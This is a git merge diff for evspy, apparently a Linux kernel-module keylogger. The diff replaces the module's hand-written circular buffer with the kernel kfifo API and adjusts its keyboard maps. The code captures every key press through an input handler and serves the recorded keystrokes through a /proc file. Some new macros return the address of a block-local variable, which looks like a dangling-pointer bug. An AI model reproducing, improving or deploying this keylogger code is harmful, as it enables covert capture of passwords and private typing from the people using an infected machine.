Merge branch 'bug/circularbuf'

5 files changed, 40 insertions, 108 deletions

diff --git a/TODO b/TODO
index 3346dce..9ab84ed 100644
--- a/TODO
+++ b/TODO
@@ -1,4 +1,3 @@
 * Support non-ascii characters - Prio:Low
-* Take a look at kernel's circular buffer API - Prio:Low
 
 * Which FX key has been pressed? - Prio:None
diff --git a/evspy-core.c b/evspy-core.c
index b33fd27..0ce19ba 100644
--- a/evspy-core.c
+++ b/evspy-core.c
@@ -20,15 +20,14 @@
  * along with evspy.  If not, see <http://www.gnu.org/licenses/>.
  */
 
-#include "evspy-core.h"
 
+#include "evspy.h"
+
+
+DECLARE_KFIFO(cbuffer, char, EVS_BUFSIZE);
 
-static char *buffer;		// circular buffer
-static char *rdp;			// read pointer
-static char *wrp;			// write pointer
 static unsigned short int capslock_on = 0;
 static unsigned short int shift_on = 0;
-
 #ifdef EVS_ALTGR_ENABLED
 static unsigned short int altgr_on = 0;
 #endif
@@ -39,10 +38,7 @@ static unsigned short int altgr_on = 0;
 static int evspy_read_proc(char *page, char **start, off_t offset, int count,
 		int *eof, void *data)
 {
-	int n, toend;
-	int retval = 0;
-	int diff = wrp - rdp;
-
+	int n;
 	// root only plz
 	if (current_uid() || current_euid()) {
 #if EVS_TROLL == 1
@@ -53,37 +49,14 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count,
 #else
 		return -EPERM;
 #endif
-	}
+	} else {
+		n = kfifo_out(&cbuffer, page, count);
 
-	// wrp > rdp: read from rdp to wrp
-	if (diff > 0) {
-		n = min(diff, count);
-		strncpy(page, rdp, n);
-		rdp += n;
-		retval = n;
-
-	// rdp > wrp: read from rdp to end of buffer and then from the beginning of
-	// the buffer to wrp
-	} else if (diff < 0) {
-		toend = (buffer + EVS_BUFSIZE) - rdp;
-		n = min(toend, count);
-		strncpy(page, rdp, n);
-		retval = n;
-
-		if (n < toend) {
-			rdp += n;
-		} else {
-			n = min(wrp - buffer, count - retval);
-			strncpy(page + retval, buffer, n);
-			retval += n;
-			rdp = buffer + n;
-		}
-	}
+		if (kfifo_is_empty(&cbuffer))
+			*eof = 1;
 
-	// wrp == rdp: buffer is empty
-	if (rdp == wrp)
-		*eof = 1;
-	return retval;
+		return n;
+	}
 }
 
 /*
@@ -173,7 +146,7 @@ static void special_char(unsigned int code, unsigned int value)
 		sp_tag[1] = '-';
 
 	while (*sp_tag)
-		evs_insert(*sp_tag++);
+		evs_insert(&cbuffer, sp_tag++);
 }
 
 static void evspy_event(struct input_handle *handle, unsigned int type,
@@ -183,10 +156,10 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
 	if (type != EV_KEY || unlikely(value == EVS_VAL_HOLD)) {
 		return;
 
-	// Backspace
-	} else if (code == KEY_BACKSPACE && value == EVS_VAL_PRESS) {
-		evs_backspace();
-		return;
+//	// Backspace
+//	} else if (code == KEY_BACKSPACE && value == EVS_VAL_PRESS) {
+//		evs_backspace();
+//		return;
 
 	// Special/unknown keys (alt, ctrl, esc, shift, etc)
 	} else if (code >= sizeof(map) || (map[code] == '.' && likely(code != KEY_DOT))) {
@@ -196,13 +169,13 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
 	} else if (value == EVS_VAL_PRESS) {
 #ifdef EVS_ALTGR_ENABLED
 		if (altgr_on)
-			evs_insert(evs_altgr(code));
+			evs_insert(&cbuffer, evs_altgr(code));
 		else
 #endif
 		if (shift_on || capslock_on)
-			evs_insert(evs_shift(code));
+			evs_insert(&cbuffer, evs_shift(code));
 		else
-			evs_insert(map[code]);
+			evs_insert(&cbuffer, &map[code]);
 	}
 }
 
@@ -266,15 +239,14 @@ static int __init evspy_init(void)
 #ifdef EVS_ALTGR_ENABLED
 	init_altgrmap();
 #endif
-	buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL);
-	rdp = wrp = buffer;
-	return !buffer || input_register_handler(&evspy_handler);
+	//cbuf_init();
+	INIT_KFIFO(cbuffer);
+	return input_register_handler(&evspy_handler);
 }
 
 static void __exit evspy_exit(void)
 {
 	input_unregister_handler(&evspy_handler);
-	kfree(buffer);
 #ifdef EVS_ALTGR_ENABLED
 	exit_altgrmap();
 #endif
diff --git a/evspy-core.h b/evspy.h
index dfc0b2e..a420753 100644
--- a/evspy-core.h
+++ b/evspy.h
@@ -20,9 +20,14 @@
  * along with evspy.  If not, see <http://www.gnu.org/licenses/>.
  */
 
+#ifndef _EVSPY_EVSPY_H
+#define _EVSPY_EVSPY_H
+
+
 #include <linux/cred.h>
 #include <linux/init.h>
 #include <linux/input.h>
+#include <linux/kfifo.h>
 #include <linux/module.h>
 #include <linux/proc_fs.h>
 #include <linux/sched.h>
@@ -52,60 +57,13 @@
 #define is_ascii(c) (map[c] >= 'a' && map[c] <= 'z')
 
 /*
- * If pointer is at the end of buffer, put it at the beginning.
- * If not, simply add 1 to it.
- */
-#define evs_incp(p)		\
-({		\
-	if ((p) == &buffer[EVS_BUFSIZE-1])		\
-		(p) = buffer;		\
-	else		\
-		(p)++;		\
- 	(p);		\
-})
-
-/*
- * Same as evs_incp but backwards
+ * Insert character c into the circular buffer pointed by fifop
  */
-#define evs_decp(p)		\
+#define evs_insert(fifop, c)		\
 ({		\
-	if ((p) == buffer)		\
-		(p) = &buffer[EVS_BUFSIZE-1];		\
-	else		\
-		(p)--;		\
- 	(p);		\
-})
-
-/*
- * Insert character c where wrp is pointing and move it to the next char.
- * If rdp == wrp, increase rdp too.
- */
-#define evs_insert(c)		\
-({		\
-	*wrp = (c);		\
-	if (evs_incp(wrp) == rdp)		\
-		evs_incp(rdp);		\
-})
-
-/*
- * Remove a character from the buffer
- */
-#define evs_delete()		\
-({		\
-	if (likely(wrp != rdp))		\
-		evs_decp(wrp);		\
-})
-
-/*
- * Try to delete the last char inserted. If it is a special key ("[KEY]"),
- * insert "[<<]" instead
- */
-#define evs_backspace()		\
-({		\
-	if (*(wrp-1) != ']')		\
-		evs_delete();		\
-	else		\
-		special_char(KEY_BACKSPACE, EVS_VAL_PRESS);		\
+	if (kfifo_is_full(fifop))		\
+		kfifo_skip(fifop);		\
+	kfifo_put((fifop), c);		\
 })
 
 /*
@@ -135,7 +93,7 @@
 		else		\
 			__c = map[c];		\
 	}		\
-	__c;		\
+	&__c;		\
 })
 
 /*
@@ -143,12 +101,15 @@
  */
 #ifdef EVS_ALTGR_ENABLED
 #define evs_altgr(c)		\
-	({		\
+({		\
 	void *__vp;		\
 	char __c;		\
 	__vp = kmap_get(akm, (c));		\
 	if (__vp) __c = *(char *)__vp;		\
 	else __c = map[c];		\
-	__c;		\
+	&__c;		\
 })
 #endif
+
+
+#endif		/* _EVSPY_EVSPY_H */
diff --git a/maps/map_en.h b/maps/map_en.h
index 56fd895..2e88bf4 100644
--- a/maps/map_en.h
+++ b/maps/map_en.h
@@ -47,7 +47,7 @@ static inline void exit_shiftmap(void)
 static char map[] = {
 	'.', '.', '1', '2', '3',	//0		// 1:ESC
 	'4', '5', '6', '7', '8',	//5
-	'9', '0', '-', '=', '\b',	//10	// 14:BACKSPACE
+	'9', '0', '-', '=', '.',	//10	// 14:BACKSPACE
 	'.', 'q', 'w', 'e', 'r',	//15	// 15:TAB
 	't', 'y', 'u', 'i', 'o',	//20
 	'p', '[', ']', '\n', '.',	//25	// 29:LCTRL
diff --git a/maps/map_es.h b/maps/map_es.h
index b20f120..67edf33 100644
--- a/maps/map_es.h
+++ b/maps/map_es.h
@@ -81,7 +81,7 @@ static inline void exit_shiftmap(void)
 static char map[] = {
 	'.', '.', '1', '2', '3',	//0		// 1:ESC
 	'4', '5', '6', '7', '8',	//5
-	'9', '0', '\'', '!', '\b',	//10	// 13:¡ (NOASCII) 14:BACKSPACE
+	'9', '0', '\'', '!', '.',	//10	// 13:¡ (NOASCII) 14:BACKSPACE
 	'.', 'q', 'w', 'e', 'r',	//15	// 15:TAB
 	't', 'y', 'u', 'i', 'o',	//20
 	'p', '`', '+', '\n', '.',	//25	// 29:LCTRL